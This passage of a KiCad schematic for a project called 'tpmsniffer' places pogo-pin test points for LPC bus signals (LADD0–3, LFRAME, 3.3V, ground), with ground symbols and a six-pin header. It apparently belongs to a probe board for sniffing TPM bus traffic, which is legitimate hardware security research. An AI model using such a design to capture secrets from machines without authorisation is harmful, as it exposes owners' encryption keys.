(symbol (lib_id "Connector:TestPoint_Probe") (at 124.46 78.74 0) (unit 1) 730 | (in_bom yes) (on_board yes) (dnp no) (fields_autoplaced) 731 | (uuid 23adec76-1ed4-42f1-976f-3f843bc0a896) 732 | (property "Reference" "TP8" (at 128.27 76.5175 0) 733 | (effects (font (size 1.27 1.27)) (justify left)) 734 | ) 735 | (property "Value" "GND" (at 128.27 79.0575 0) 736 | (effects (font (size 1.27 1.27)) (justify left)) 737 | ) 738 | (property "Footprint" "A1_TPM_Lib:pogo-p50-b1" (at 129.54 78.74 0) 739 | (effects (font (size 1.27 1.27)) hide) 740 | ) 741 | (property "Datasheet" "~" (at 129.54 78.74 0) 742 | (effects (font (size 1.27 1.27)) hide) 743 | ) 744 | (pin "1" (uuid b576fd21-4d1d-4981-8e4a-552464066bce)) 745 | (instances 746 | (project "tpmsniffer" 747 | (path "/692c4062-35b7-4554-aa43-8ed8c0452638" 748 | (reference "TP8") (unit 1) 749 | ) 750 | ) 751 | ) 752 | ) 753 | 754 | (symbol (lib_id "power:GND") (at 120.65 92.71 0) (unit 1) 755 | (in_bom yes) (on_board yes) (dnp no) (fields_autoplaced) 756 | (uuid 30ee94d8-2227-4f80-82cc-9e4416cd11f3) 757 | (property "Reference" "#PWR01" (at 120.65 99.06 0) 758 | (effects (font (size 1.27 1.27)) hide) 759 | ) 760 | (property "Value" "GND" (at 120.65 97.79 0) 761 | (effects (font (size 1.27 1.27))) 762 | ) 763 | (property "Footprint" "" (at 120.65 92.71 0) 764 | (effects (font (size 1.27 1.27)) hide) 765 | ) 766 | (property "Datasheet" "" (at 120.65 92.71 0) 767 | (effects (font (size 1.27 1.27)) hide) 768 | ) 769 | (pin "1" (uuid fcaa2d55-32c5-4e81-ad7d-0aa9f86a1b9a)) 770 | (instances 771 | (project "tpmsniffer" 772 | (path "/692c4062-35b7-4554-aa43-8ed8c0452638" 773 | (reference "#PWR01") (unit 1) 774 | ) 775 | ) 776 | ) 777 | ) 778 | 779 | (symbol (lib_id "Connector:TestPoint_Probe") (at 124.46 58.42 0) (unit 1) 780 | (in_bom yes) (on_board yes) (dnp no) (fields_autoplaced) 781 | (uuid 38e203c5-1431-43da-88ad-5812f84591eb) 782 | (property "Reference" "TP4" (at 128.27 56.1975 0) 783 | (effects (font (size 1.27 1.27)) (justify left)) 784 | ) 785 | (property "Value" "LADD2" (at 128.27 58.7375 0) 786 | (effects (font (size 1.27 1.27)) (justify left)) 787 | ) 788 | (property "Footprint" "A1_TPM_Lib:pogo-p50-b1" (at 129.54 58.42 0) 789 | (effects (font (size 1.27 1.27)) hide) 790 | ) 791 | (property "Datasheet" "~" (at 129.54 58.42 0) 792 | (effects (font (size 1.27 1.27)) hide) 793 | ) 794 | (pin "1" (uuid 3b09fe29-dcb7-4e89-9f23-3a363746ef1c)) 795 | (instances 796 | (project "tpmsniffer" 797 | (path "/692c4062-35b7-4554-aa43-8ed8c0452638" 798 | (reference "TP4") (unit 1) 799 | ) 800 | ) 801 | ) 802 | ) 803 | 804 | (symbol (lib_id "power:GND") (at 69.85 86.36 270) (unit 1) 805 | (in_bom yes) (on_board yes) (dnp no) (fields_autoplaced) 806 | (uuid 6176d684-c805-4a58-bcfd-f5e904538922) 807 | (property "Reference" "#PWR06" (at 63.5 86.36 0) 808 | (effects (font (size 1.27 1.27)) hide) 809 | ) 810 | (property "Value" "GND" (at 66.04 86.995 90) 811 | (effects (font (size 1.27 1.27)) (justify right)) 812 | ) 813 | (property "Footprint" "" (at 69.85 86.36 0) 814 | (effects (font (size 1.27 1.27)) hide) 815 | ) 816 | (property "Datasheet" "" (at 69.85 86.36 0) 817 | (effects (font (size 1.27 1.27)) hide) 818 | ) 819 | (pin "1" (uuid 440c1b68-ce0e-4355-889f-c2a9f9359874)) 820 | (instances 821 | (project "tpmsniffer" 822 | (path "/692c4062-35b7-4554-aa43-8ed8c0452638" 823 | (reference "#PWR06") (unit 1) 824 | ) 825 | ) 826 | ) 827 | ) 828 | 829 | (symbol (lib_id "power:GND") (at 69.85 48.26 270) (unit 1) 830 | (in_bom yes) (on_board yes) (dnp no) (fields_autoplaced) 831 | (uuid 68fca9dc-200d-4f29-841f-ec8e7db7717e) 832 | (property "Reference" "#PWR08" (at 63.5 48.26 0) 833 | (effects (font (size 1.27 1.27)) hide) 834 | ) 835 | (property "Value" "GND" (at 66.04 48.895 90) 836 | (effects (font (size 1.27 1.27)) (justify right)) 837 | ) 838 | (property "Footprint" "" (at 69.85 48.26 0) 839 | (effects (font (size 1.27 1.27)) hide) 840 | ) 841 | (property "Datasheet" "" (at 69.85 48.26 0) 842 | (effects (font (size 1.27 1.27)) hide) 843 | ) 844 | (pin "1" (uuid 0f2eb0d6-c69b-4b4f-a031-a6f7b77b0207)) 845 | (instances 846 | (project "tpmsniffer" 847 | (path "/692c4062-35b7-4554-aa43-8ed8c0452638" 848 | (reference "#PWR08") (unit 1) 849 | ) 850 | ) 851 | ) 852 | ) 853 | 854 | (symbol (lib_id "power:GND") (at 147.32 60.96 0) (unit 1) 855 | (in_bom yes) (on_board yes) (dnp no) (fields_autoplaced) 856 | (uuid 6b939b5e-2e0e-418d-bbb3-016c1f1ce282) 857 | (property "Reference" "#PWR03" (at 147.32 67.31 0) 858 | (effects (font (size 1.27 1.27)) hide) 859 | ) 860 | (property "Value" "GND" (at 147.32 66.04 0) 861 | (effects (font (size 1.27 1.27))) 862 | ) 863 | (property "Footprint" "" (at 147.32 60.96 0) 864 | (effects (font (size 1.27 1.27)) hide) 865 | ) 866 | (property "Datasheet" "" (at 147.32 60.96 0) 867 | (effects (font (size 1.27 1.27)) hide) 868 | ) 869 | (pin "1" (uuid ce5afbc9-287c-4a00-beda-7aafd70f5ea4)) 870 | (instances 871 | (project "tpmsniffer" 872 | (path "/692c4062-35b7-4554-aa43-8ed8c0452638" 873 | (reference "#PWR03") (unit 1) 874 | ) 875 | ) 876 | ) 877 | ) 878 | 879 | (symbol (lib_id "Connector:TestPoint_Probe") (at 124.46 63.5 0) (unit 1) 880 | (in_bom yes) (on_board yes) (dnp no) (fields_autoplaced) 881 | (uuid 6f9515b5-1520-4fc7-b131-eee268d0d75b) 882 | (property "Reference" "TP5" (at 128.27 61.2775 0) 883 | (effects (font (size 1.27 1.27)) (justify left)) 884 | ) 885 | (property "Value" "LADD3" (at 128.27 63.8175 0) 886 | (effects (font (size 1.27 1.27)) (justify left)) 887 | ) 888 | (property "Footprint" "A1_TPM_Lib:pogo-p50-b1" (at 129.54 63.5 0) 889 | (effects (font (size 1.27 1.27)) hide) 890 | ) 891 | (property "Datasheet" "~" (at 129.54 63.5 0) 892 | (effects (font (size 1.27 1.27)) hide) 893 | ) 894 | (pin "1" (uuid 10d24ac1-84b0-42f4-9690-e89f42f97b49)) 895 | (instances 896 | (project "tpmsniffer" 897 | (path "/692c4062-35b7-4554-aa43-8ed8c0452638" 898 | (reference "TP5") (unit 1) 899 | ) 900 | ) 901 | ) 902 | ) 903 | 904 | (symbol (lib_id "Connector:TestPoint_Probe") (at 124.46 43.18 0) (unit 1) 905 | (in_bom yes) (on_board yes) (dnp no) (fields_autoplaced) 906 | (uuid 80ab6497-aaa2-4c91-a308-b6cf6f3b9257) 907 | (property "Reference" "TP1" (at 128.27 40.9575 0) 908 | (effects (font (size 1.27 1.27)) (justify left)) 909 | ) 910 | (property "Value" "3.3V for check" (at 128.27 43.4975 0) 911 | (effects (font (size 1.27 1.27)) (justify left)) 912 | ) 913 | (property "Footprint" "A1_TPM_Lib:pogo-p50-b1" (at 129.54 43.18 0) 914 | (effects (font (size 1.27 1.27)) hide) 915 | ) 916 | (property "Datasheet" "~" (at 129.54 43.18 0) 917 | (effects (font (size 1.27 1.27)) hide) 918 | ) 919 | (pin "1" (uuid e09f58ee-8bcf-425e-89c9-c454ac12b82e)) 920 | (instances 921 | (project "tpmsniffer" 922 | (path "/692c4062-35b7-4554-aa43-8ed8c0452638" 923 | (reference "TP1") (unit 1) 924 | ) 925 | ) 926 | ) 927 | ) 928 | 929 | (symbol (lib_id "Connector:TestPoint_Probe") (at 124.46 48.26 0) (unit 1) 930 | (in_bom yes) (on_board yes) (dnp no) (fields_autoplaced) 931 | (uuid 871cae70-12fd-4282-a75d-8a7b74a27c2f) 932 | (property "Reference" "TP2" (at 128.27 46.0375 0) 933 | (effects (font (size 1.27 1.27)) (justify left)) 934 | ) 935 | (property "Value" "LADD0" (at 128.27 48.5775 0) 936 | (effects (font (size 1.27 1.27)) (justify left)) 937 | ) 938 | (property "Footprint" "A1_TPM_Lib:pogo-p50-b1" (at 129.54 48.26 0) 939 | (effects (font (size 1.27 1.27)) hide) 940 | ) 941 | (property "Datasheet" "~" (at 129.54 48.26 0) 942 | (effects (font (size 1.27 1.27)) hide) 943 | ) 944 | (pin "1" (uuid d0084474-b2f1-4fb1-bb6c-00232beb86c2)) 945 | (instances 946 | (project "tpmsniffer" 947 | (path "/692c4062-35b7-4554-aa43-8ed8c0452638" 948 | (reference "TP2") (unit 1) 949 | ) 950 | ) 951 | ) 952 | ) 953 | 954 | (symbol (lib_id "Connector:TestPoint_Probe") (at 124.46 88.9 0) (unit 1) 955 | (in_bom yes) (on_board yes) (dnp no) (fields_autoplaced) 956 | (uuid ae30f594-15d3-417d-bcf8-622451aff852) 957 | (property "Reference" "TP10" (at 128.27 86.6775 0) 958 | (effects (font (size 1.27 1.27)) (justify left)) 959 | ) 960 | (property "Value" "GND" (at 128.27 89.2175 0) 961 | (effects (font (size 1.27 1.27)) (justify left)) 962 | ) 963 | (property "Footprint" "A1_TPM_Lib:pogo-p50-b1" (at 129.54 88.9 0) 964 | (effects (font (size 1.27 1.27)) hide) 965 | ) 966 | (property "Datasheet" "~" (at 129.54 88.9 0) 967 | (effects (font (size 1.27 1.27)) hide) 968 | ) 969 | (pin "1" (uuid 07f05cf6-5b6b-4736-8767-d72987b75b5b)) 970 | (instances 971 | (project "tpmsniffer" 972 | (path "/692c4062-35b7-4554-aa43-8ed8c0452638" 973 | (reference "TP10") (unit 1) 974 | ) 975 | ) 976 | ) 977 | ) 978 | 979 | (symbol (lib_id "Connector:TestPoint_Probe") (at 124.46 83.82 0) (unit 1) 980 | (in_bom yes) (on_board yes) (dnp no) (fields_autoplaced) 981 | (uuid b2bcb6a1-ebae-4704-a205-f8e96743238c) 982 | (property "Reference" "TP9" (at 128.27 81.5975 0) 983 | (effects (font (size 1.27 1.27)) (justify left)) 984 | ) 985 | (property "Value" "Unknown" (at 128.27 84.1375 0) 986 | (effects (font (size 1.27 1.27)) (justify left)) 987 | ) 988 | (property "Footprint" "A1_TPM_Lib:pogo-p50-b1" (at 129.54 83.82 0) 989 | (effects (font (size 1.27 1.27)) hide) 990 | ) 991 | (property "Datasheet" "~" (at 129.54 83.82 0) 992 | (effects (font (size 1.27 1.27)) hide) 993 | ) 994 | (pin "1" (uuid 4d1b9b61-8ceb-4960-a1d0-b95c672310a8)) 995 | (instances 996 | (project "tpmsniffer" 997 | (path "/692c4062-35b7-4554-aa43-8ed8c0452638" 998 | (reference "TP9") (unit 1) 999 | ) 1000 | ) 1001 | ) 1002 | ) 1003 | 1004 | (symbol (lib_id "Connector:TestPoint_Probe") (at 124.46 53.34 0) (unit 1) 1005 | (in_bom yes) (on_board yes) (dnp no) (fields_autoplaced) 1006 | (uuid b9101eb5-63e7-4a18-bcb2-a0044a0aa6e1) 1007 | (property "Reference" "TP3" (at 128.27 51.1175 0) 1008 | (effects (font (size 1.27 1.27)) (justify left)) 1009 | ) 1010 | (property "Value" "LADD1" (at 128.27 53.6575 0) 1011 | (effects (font (size 1.27 1.27)) (justify left)) 1012 | ) 1013 | (property "Footprint" "A1_TPM_Lib:pogo-p50-b1" (at 129.54 53.34 0) 1014 | (effects (font (size 1.27 1.27)) hide) 1015 | ) 1016 | (property "Datasheet" "~" (at 129.54 53.34 0) 1017 | (effects (font (size 1.27 1.27)) hide) 1018 | ) 1019 | (pin "1" (uuid d76ca43f-b765-4eda-862f-5df4b7b38676)) 1020 | (instances 1021 | (project "tpmsniffer" 1022 | (path "/692c4062-35b7-4554-aa43-8ed8c0452638" 1023 | (reference "TP3") (unit 1) 1024 | ) 1025 | ) 1026 | ) 1027 | ) 1028 | 1029 | (symbol (lib_id "power:GND") (at 110.49 60.96 90) (unit 1) 1030 | (in_bom yes) (on_board yes) (dnp no) (fields_autoplaced) 1031 | (uuid ce21abc1-6dc2-4fff-925d-f452e61189c6) 1032 | (property "Reference" "#PWR02" (at 116.84 60.96 0) 1033 | (effects (font (size 1.27 1.27)) hide) 1034 | ) 1035 | (property "Value" "GND" (at 114.3 61.595 90) 1036 | (effects (font (size 1.27 1.27)) (justify right)) 1037 | ) 1038 | (property "Footprint" "" (at 110.49 60.96 0) 1039 | (effects (font (size 1.27 1.27)) hide) 1040 | ) 1041 | (property "Datasheet" "" (at 110.49 60.96 0) 1042 | (effects (font (size 1.27 1.27)) hide) 1043 | ) 1044 | (pin "1" (uuid c98f5524-af65-432f-89b3-ec7dfb69b655)) 1045 | (instances 1046 | (project "tpmsniffer" 1047 | (path "/692c4062-35b7-4554-aa43-8ed8c0452638" 1048 | (reference "#PWR02") (unit 1) 1049 | ) 1050 | ) 1051 | ) 1052 | ) 1053 | 1054 | (symbol (lib_id "power:GND") (at 110.49 86.36 90) (unit 1) 1055 | (in_bom yes) (on_board yes) (dnp no) (fields_autoplaced) 1056 | (uuid d2d8e8fc-6e57-4196-8da7-606c8cf2ff87) 1057 | (property "Reference" "#PWR05" (at 116.84 86.36 0) 1058 | (effects (font (size 1.27 1.27)) hide) 1059 | ) 1060 | (property "Value" "GND" (at 114.3 86.995 90) 1061 | (effects (font (size 1.27 1.27)) (justify right)) 1062 | ) 1063 | (property "Footprint" "" (at 110.49 86.36 0) 1064 | (effects (font (size 1.27 1.27)) hide) 1065 | ) 1066 | (property "Datasheet" "" (at 110.49 86.36 0) 1067 | (effects (font (size 1.27 1.27)) hide) 1068 | ) 1069 | (pin "1" (uuid 412b118e-6009-4e04-9860-fb4bb3ff5c53)) 1070 | (instances 1071 | (project "tpmsniffer" 1072 | (path "/692c4062-35b7-4554-aa43-8ed8c0452638" 1073 | (reference "#PWR05") (unit 1) 1074 | ) 1075 | ) 1076 | ) 1077 | ) 1078 | 1079 | (symbol (lib_id "power:GND") (at 69.85 73.66 270) (unit 1) 1080 | (in_bom yes) (on_board yes) (dnp no) (fields_autoplaced) 1081 | (uuid d5f0a46f-6054-4aa2-b728-6f204a8aa4c1) 1082 | (property "Reference" "#PWR07" (at 63.5 73.66 0) 1083 | (effects (font (size 1.27 1.27)) hide) 1084 | ) 1085 | (property "Value" "GND" (at 66.04 74.295 90) 1086 | (effects (font (size 1.27 1.27)) (justify right)) 1087 | ) 1088 | (property "Footprint" "" (at 69.85 73.66 0) 1089 | (effects (font (size 1.27 1.27)) hide) 1090 | ) 1091 | (property "Datasheet" "" (at 69.85 73.66 0) 1092 | (effects (font (size 1.27 1.27)) hide) 1093 | ) 1094 | (pin "1" (uuid 1ccebc14-b57b-4bb1-96bd-c427ffdbc482)) 1095 | (instances 1096 | (project "tpmsniffer" 1097 | (path "/692c4062-35b7-4554-aa43-8ed8c0452638" 1098 | (reference "#PWR07") (unit 1) 1099 | ) 1100 | ) 1101 | ) 1102 | ) 1103 | 1104 | (symbol (lib_id "Connector:TestPoint_Probe") (at 124.46 68.58 0) (unit 1) 1105 | (in_bom yes) (on_board yes) (dnp no) (fields_autoplaced) 1106 | (uuid ec5fcde9-2492-4169-92f5-3dafaeccb55f) 1107 | (property "Reference" "TP6" (at 128.27 66.3575 0) 1108 | (effects (font (size 1.27 1.27)) (justify left)) 1109 | ) 1110 | (property "Value" "LFRAME" (at 128.27 68.8975 0) 1111 | (effects (font (size 1.27 1.27)) (justify left)) 1112 | ) 1113 | (property "Footprint" "A1_TPM_Lib:pogo-p50-b1" (at 129.54 68.58 0) 1114 | (effects (font (size 1.27 1.27)) hide) 1115 | ) 1116 | (property "Datasheet" "~" (at 129.54 68.58 0) 1117 | (effects (font (size 1.27 1.27)) hide) 1118 | ) 1119 | (pin "1" (uuid 21c56db6-154d-4974-a9de-4a96c929356a)) 1120 | (instances 1121 | (project "tpmsniffer" 1122 | (path "/692c4062-35b7-4554-aa43-8ed8c0452638" 1123 | (reference "TP6") (unit 1) 1124 | ) 1125 | ) 1126 | ) 1127 | ) 1128 | 1129 | (symbol (lib_id "Connector:Conn_01x06_Pin") (at 154.94 50.8 0) (mirror y) (unit 1) 1130 | (in_bom yes) (on_board yes) (dnp no) (fields_autoplaced) 1131 | (uuid fcdb6a83-dcec-4a58-aecf-37e57e34bda6) 1132 | (property "Reference" "J1" (at 156.21 51.435 0) 1133 | (effects (font (size 1.27 1.27)) (justify right)) 1134 | ) 1135 | (property "Value" "Conn_01x06_Pin" (at 156.21 53.975 0) 1136 | (effects (font (size 1.27 1.27)) (justify right)) 1137 | ) 1138 | (property "Footprint" "Connector_PinSocket_2.54mm:PinSocket_1x06_P2.54mm_Vertical" (at 154.94 50.8 0) 1139 | (effects (font (size 1.27 1.27)) hide) 1140 | ) 1141 | (property "Datasheet" "~" (at 154.94 50.8 0) 1142 | (effects (font (size 1.27 1.27)) hide) 1143 | ) 1144 | (pin "1" (uuid 76a457a1-f40f-42a6-8dfc-35f854c1a109)) 1145 | (pin "2" (uuid dbb1433d-0f85-456b-b4e7-71d7195d28d4)) 1146 | (pin "3" (uuid 1e344683-4470-4e80-912d-fc29aed5dc2a)) 1147 | (pin "4" (uuid ef67c967-486d-4d0e-b0fb-6617753cb4ca)) 1148 | (pin "5" (uuid b34c82f1-2579-4b0d-ab91-32421880953c)) 1149 | (pin "6" (uuid b26c6110-787a-4a26-9841-d5f5a07cfb42)) 1150 | (instances 1151 | (project "tpmsniffer" 1152 | (path "/692c4062-35b7-4554-aa43-8ed8c0452638" 1153 | (reference "J1") (unit 1) 1154 | ) 1155 | ) 1156 | ) 1157 | ) 1158 | 1159 | (symbol (lib_id "Connector:TestPoint_Probe") (at 124.46 73.66 0) (unit 1) 1160 | (in_bom yes) (on_board yes) (dnp no) (fields_autoplaced) 1161 | (uuid ff201827-1533-49e3-9d61-0c1802b007e1) 1162 | (property "Reference" "TP7" (at 128.27 71.4375 0) 1163 | (effects (font (size 1.27 1.27)) (justify left)) 1164 | ) 1165 | (property "Value" "Unused (RST)" (at 128.27 73.9775 0) 1166 | (effects (font (size 1.27 1.27)) (justify left)) 1167 | ) 1168 | (property "Footprint" "A1_TPM_Lib:pogo-p50-b1" (at 129.54 73.66 0) 1169 | (effects (font (size 1.27 1.27)) hide) 1170 | ) 1171 | (property "Datasheet" "~" (at 129.54 73.66 0) 1172 | (effects (font (size 1.27 1.27)) hide) 1173 | ) 1174 | (pin "1" (uuid 6dd72a54-1d23-475c-83ff-045db2019f3b)) 1175 | (instances 1176 | (project "tpmsniffer" 1177 | (path "/692c4062-35b7-4554-aa43-8ed8c0452638" 1178 | (reference "TP7") (unit 1) 1179 | ) 1180 | ) 1181 | ) 1182 | ) 1183 | 1184 | (sheet_instances 1185 | (path "/" (page "1")) 1186 | ) 1187 | ) 1188 | --------------------------------------------------------------------------------